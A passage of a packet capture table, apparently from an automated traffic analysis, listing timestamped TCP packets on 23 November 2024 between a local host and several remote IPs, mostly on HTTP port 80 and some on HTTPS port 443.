Nov 23, 2024 15:22:43.956993103 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.957062006 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.957123995 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.959070921 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.959120035 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.959124088 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.959176064 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.961091995 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.961226940 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.961287022 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.963166952 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.963238955 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.963290930 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.963356018 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.965202093 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.965334892 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.965385914 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.967278004 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.967340946 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.967417955 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.967461109 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.969460964 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.969528913 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.969583988 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.971489906 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.971541882 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.971604109 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.971649885 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.973516941 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.973572969 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.973628998 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.975562096 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.975615978 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.975630045 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.975668907 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.977636099 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.977689981 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.977750063 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.980789900 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.980875015 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.980937958 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.981832027 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.981884003 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.981947899 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.981992006 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.983871937 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.983997107 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.984046936 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.985955954 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.986010075 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.986088037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.986144066 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.988012075 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.988137007 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.988193035 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.990076065 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.990143061 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:43.990200043 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:43.990253925 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.057992935 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.058042049 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.058103085 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.058938026 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.058993101 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.059042931 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.059087038 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.059170008 CET	80	49867	185.215.113.43	192.168.2.4
Nov 23, 2024 15:22:44.061016083 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.061072111 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.061115026 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.061160088 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.061644077 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:44.061671972 CET	49866	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:44.061743975 CET	443	49866	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:44.061986923 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.063114882 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.063124895 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.063138962 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.063188076 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.063226938 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.063268900 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.063847065 CET	49864	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.063853025 CET	443	49864	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.065234900 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.065325975 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.065398932 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.065445900 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.067346096 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.067405939 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.067419052 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.067466974 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.069361925 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.069428921 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.069578886 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.069638968 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.071399927 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.071458101 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.071645021 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.071705103 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.073515892 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.073575974 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.073662043 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.073755026 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.075493097 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.075556040 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.075637102 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.075701952 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.077516079 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.077584028 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.077604055 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.077709913 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.079400063 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.079467058 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.079503059 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.079663038 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.081309080 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.081367970 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.081444979 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.081490993 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.083218098 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.083268881 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.083378077 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.083430052 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.085005999 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.085069895 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.085161924 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.085215092 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.086781979 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.086890936 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.086955070 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.088555098 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.088613033 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.088620901 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.088713884 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.090395927 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.090462923 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.090509892 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.090655088 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.092163086 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.092242002 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.092331886 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.092386007 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.093908072 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.093964100 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.094018936 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.095387936 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.095460892 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.095530987 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.095583916 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.097055912 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.097297907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.097354889 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.098699093 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.098758936 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.109210968 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.117731094 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.117739916 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.129540920 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.129545927 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.134454966 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.134548903 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.134619951 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.134991884 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.135051966 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.135123968 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.135174990 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.135946035 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.136006117 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.136080980 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.136131048 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.137017965 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.137087107 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.137115002 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.137166023 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.138020039 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.138075113 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.138144970 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.138199091 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.139024019 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.139081955 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.139153004 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.139203072 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.140039921 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.140161037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.140213966 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.141421080 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.141474009 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.141516924 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.141563892 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.142498970 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.142558098 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.142575979 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.142618895 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.143089056 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.143134117 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.143184900 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.143228054 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.144099951 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.144211054 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.144257069 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.145117998 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.145191908 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.145241976 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.145291090 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.146152020 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.146203041 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.146245956 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.146291971 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.147172928 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.147281885 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.147331953 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.147331953 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.148245096 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.148310900 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.148344040 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.148416996 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.149240017 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.149430037 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.149481058 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.150240898 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.150369883 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.150418043 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.151262045 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.151369095 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.151403904 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.151451111 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.152493954 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.152636051 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.152687073 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.153356075 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.153414965 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.153565884 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.153837919 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.154335976 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.154460907 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.154510021 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.155369997 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.155422926 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.155474901 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.155523062 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.156435966 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.156511068 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.156559944 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.156881094 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.157593012 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.157659054 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.157902956 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.160692930 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.160737038 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.160799980 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.160860062 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.160876989 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.160893917 CET	49860	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.160901070 CET	443	49860	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.163404942 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.163649082 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.163767099 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.163774967 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.163836956 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.163872957 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.163892984 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.163944960 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.164561987 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.164571047 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.164582014 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.164586067 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.164748907 CET	49868	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.164767027 CET	443	49868	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.166340113 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.166500092 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167136908 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167152882 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.167167902 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167175055 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.167186975 CET	49861	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167191029 CET	443	49861	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.167222023 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167371035 CET	49869	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.167381048 CET	443	49869	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.169621944 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.169632912 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.169805050 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.169917107 CET	49870	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:44.169931889 CET	443	49870	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:44.182280064 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.182336092 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.182343006 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.182446003 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.182756901 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.182873964 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.182897091 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.182954073 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.183814049 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.183860064 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.184087992 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.184148073 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.184834957 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.184870005 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.184957981 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.185004950 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.185928106 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.185981035 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.186011076 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.186064959 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.186908007 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.186966896 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.186984062 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.187047005 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.187911987 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.187973976 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.188018084 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.188072920 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.259100914 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.259165049 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.259191990 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.259208918 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.259438038 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.259500027 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.259526014 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.259566069 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.260488987 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.260535955 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.260574102 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.260639906 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.261468887 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.261533976 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.261625051 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.261683941 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.262470961 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.262521029 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.262535095 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.262576103 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.263511896 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.263575077 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.263602972 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.263662100 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.264528990 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.264588118 CET	49852	80	192.168.2.4	185.215.113.206
Nov 23, 2024 15:22:44.264592886 CET	80	49852	185.215.113.206	192.168.2.4
Nov 23, 2024 15:22:44.264637947 CET	49852	80	192.168.2.4	185.215.113.206
